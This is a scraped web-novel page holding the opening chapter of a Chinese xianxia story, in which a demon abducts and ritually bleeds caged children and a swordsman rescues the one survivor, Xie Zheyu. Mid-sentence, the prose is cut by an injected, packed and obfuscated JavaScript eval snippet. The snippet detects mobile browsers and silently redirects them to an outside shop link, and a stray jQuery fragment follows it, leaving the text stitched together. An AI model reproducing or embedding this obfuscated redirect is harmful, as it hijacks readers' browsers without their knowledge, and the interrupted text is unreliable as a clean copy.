默认冷灰
24号文字
方正启体

1. 楔子

作者:今州本书字数:K更新时间:
    新春刚过,料峭春寒。


    八岁的谢折玉虚弱地跪趴在狭小的笼子里,口中勒着一段丝绸,喉咙里挤出断断续续的哼哼。


    他怀疑他要死了,不然脑袋里怎么尽在回忆生平呢?


    谢折玉出生在烟花巷的脂粉堆里,不知父只知母,生母是极美的歌姬,她在他四岁时嫁给富商远走高飞,大约是觉得他这拖油瓶耽误前程,没有带他走。


    他因此继续留在烟柳之地磕磕绊绊地过活,周遭人少善多恶,偶尔被人当作珍玉,时常被人当作猪狗,鲜日子少,烂日子多。


    一日一日长大,他想着等到自己再长高点,便找个机会逃了。


    谁知前阵子,就在过年前,一个举止斯文、相貌平平的中年书生进了花楼,要跟鸨娘要价买下他。


    鸨娘见书生衣着寒酸,便讥笑着要价千金,不许赊账,不许讨价。


    书生脸庞涨红,不过片刻之间,气质大变,斯文的仪相变成暴怒的悍相,竟变成个丑陋可怖的怪物,狂风骤雨般杀遍了整座花楼。


    他便在遍地哀嚎的血雨中被怪物带走。


    谢折玉不再回忆过去了,不知何处的母亲也好,已成尸骸的鸨娘也好,生也好死也罢,她们都随着花楼一起化作废墟了。


    那怪物把他带到这地狱似的洞窟里,落地变回书生样,起初几天脾气装得挺好,喂他吃糖果喝琼浆,口中尽说些文绉绉的古怪话。


    谢折玉只能听懂几句夸他长得好的,除此之外都听不懂,什么“根骨极佳”、“人炉丹引”,不知道都是什么东西,他只知道书生是一气之下就能杀光整座楼的怪物,说不定哪时哪刻就要把他也杀了。


    没过几天,正是新春节,书生心情大好,捧出华服首饰装扮他,还取出妆盒往他脸上勾勒,边给他上妆边吟诗。


    谢折玉毛骨悚然,果不其然,待妆罢,诗也吟到了尽头,书生原形毕露,又变成了怪物。


    谢折玉心头和锁骨被书生各狠咬了一口,鲜血如注,锁骨穿孔,又被他按着脑袋不知施了什么法,一身的筋骨像是在皮肤下炸开了,痛得他阵阵哀嚎叫骂。


    他骂怪物是丑八怪,怪物竟被骂哭了。


    “我色丑,你就颜如玉吗?”


    谢折玉听完这话便疼晕了过去,再醒来时,发现自己被关在一个比鸡笼大不了多少的笼子里,双手被缚在背后,只能跪趴在地。


    他勉力抬头,只见身在一个圆形洞窟里,地面铺玉砖,顶上贴琉璃,而周围摆满了和他一样大小的笼子——笼中全是和他年纪相仿的小孩。


    他们也都有心头和锁骨两处伤口,全都跪趴着,伤口流出的血渗入地面,地面的玉砖丝绸一般吸透了血,便呈现出血色。


    谢折玉不知道这是什么邪祟仪式,只知又疼又愤怒,他最讨厌跪着,却被关在小笼中屈辱跪着,反正如此情形自己怕是要死了,便破罐子破摔地怒骂起来,烂面人,丑八怪,阉猪,瘤鸡,脓狗,穷尽一切在花楼中听来的难听话狂骂。


    骂了一会,远远地又传来痛哭声,谢折玉身下的玉砖裂开,钻出一段丝绸绑了他的嘴,叫他再骂不出声来。


    他便这样失声失血地跪着,听着周围其他的笼中稚童虚弱痛苦地呻|吟、求救,听他们叫娘,叫爹,叫哥哥姐姐。


    直到一切都归于安静。


    不知过了多久,谢折玉知道这里只剩下自己了。


    他的口舌被堵住了,即使不堵,他也不会哭叫求救,他知道世上没有人会来救他,他只是不甘地想再臭骂一顿,一顿又一顿。


    太可笑了,在那披着书生皮的怪物刚进花楼,说要买下他的时候,他那时竟然有一瞬间以为,书生或许是他亲娘派人来接他的。


    其实来找他的只有怪物,一个怪物!


    他那时怎么会有那么可笑的期望?!


    谢折玉身下的玉砖从白到粉,再到鲜红色,身上的血也许快要流干了,心里的怒火却始终不减,无数痛骂在心里翻滚,新春的爆竹在狭小的心房里没完没了地炸。


    爆竹声响到顶峰时,一阵沉重快速的脚步声压过了爆竹,清晰地传进了他的耳朵里。


    谢折玉的身体虚弱不堪,反应迟钝了些,听到脚步声来到了这洞窟里,又扑通一声,似乎是摔了一跤。


    谢折玉提起一口气,冷汗从额角沁出,眼角的芍药妆晕开了一点,他奋力从笼子里抬头,一动,身上的首饰配饰便叮铃作响。


    他朝前模糊地望去,发现来的不是那怪物,而是一个持剑半跪的白衣青年。


    这人是真的还是假的?他看见我了吗?


    谢折玉一念生,那白衣青年便瞬间出现在了他的笼子前,笼子一瞬被徒手掰开,他被抱了出来,手枷和丝绸都被摘去。


    青年抱起他看了一眼,深吸一口气,和他说了什么,谢折玉神志几近溃散,听不太清也看太不清,只能努力撑着眼皮不闭上。


    青年着急地把他放回地面,半跪在他身侧,佩剑出窍,寒光凛冽,铮鸣一声震碎满地血砖。


    青年又将佩剑插|入地面作为引灵阵眼,十指翻飞地在地上快速画阵纹,左手上戴着五枚玄铁戒指,灵力通过玄戒加速扩散,眨眼之间,一个繁复的阵法霍然浮现。


    谢折玉感觉到自己的身体被温暖的空气笼罩,那是一种言语无法形容的宁和,心头和锁骨的伤口慢慢愈合,一身筋骨仿佛被安抚了数遍,断骨错筋都被接了回去。


    他先恢复了听觉,听见耳边有戒指磕碰到地面发出的细微声音。


    良久,温暖的空气凝固了,那青年


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114173|195902||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的手从地面转移到他身上,在他身上飞快地点来点去。


    谢折玉感觉自己变成一把草,在接受春雷的淬炼,忽然之间,身体中压抑的浊气找到了出口,他向上一挣,猛然咳出一口血。


    青年左手上的戒指一瞬摘除,一手抱起他一手捂住他额头,拼命地渡去灵力。


    谢折玉的视觉恢复了,他睁开眼抬头看,看见一张俊美却带疤的脸,这人左脸上有三道浅色的疤,像是什么爪子留下的。


    他不错眼地盯着他瞧,听见青年着急低哑地说:“小孩!坚持住,不要放弃,你一定能活下来!”


    谢折玉一个劲地看他,不时咳出几口血沫,捂着他额头的温暖的大手便移到他侧脸去,小心翼翼地擦去血渍。


    他怀疑还是梦,那只手擦拭到他唇角时,他奋力张口,狠狠咬住,听见青年闷哼一声,待松口,看见一个沾了血渍和残脂的深深牙印。


    是活的,是真实的。


    谢折玉再看了青年一眼,撑了多日的精气神摇摇欲坠。


    “小孩!别睡!别睡过去,你、你叫什么名字?”


    谢折玉又努力提起一口气:“你……先说你的名字。”


    “我叫林悲尘。小孩,你认字吗?你看,我比划你看,你睁着眼别睡过去!”


    谢折玉奋力伸出手:“我识字,写我手心……”


    一笔一划,每一笔都似乎灌注了力量,谢折玉记下每一个字,待林悲尘写完,他温暖的大手包住了他冰冷的小手。


    谢折玉呼哧呼哧地呼吸,努力不让自己睡过去:“林、悲、尘……我记住了,我叫谢折玉,谢罪的谢,折腰的折,玉碎瓦全的玉,你、你能记住吗?”


    “……”


    “你记住了吗?”


    “记住了。”林悲尘低声道,“谢、折、玉,谢忱的谢,折桂的折,玉汝于成的玉——我记住了。”


    *


    人间周王朝飞鸣八年,仙盟启明纪一千七百年。


    初春,仙盟通缉榜上位于丙阶第三十九、金丹初期级别的色丑魔,于冶墟洲望江一带暴露行踪,劫幼童百人施行摄血阵,尧光派首席弟子林悲尘破阵,色丑魔逃之无影,幸存者仅一童。


    夏末,林悲尘背着无处可去的谢折玉上山,带他去记名造册,让他正式成为尧光派的一名外门弟子。


    七年后,谢折玉掌握并精通尧光剑法,拜入掌门李若非门下,成为李若非第六个徒弟。


    再三年,尘玉二人一同下山,在东南仙山被甲阶第十九的双体魔埋伏,两人殊死而战,重创双体魔修,深受重伤。


    谢折玉身中无尾蛇的魔毒,修为被逐渐蚕食,日渐倒退。林悲尘耗尽灵力,陷入昏迷沉睡,不知何时能醒。


    再一晃,十年已过。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)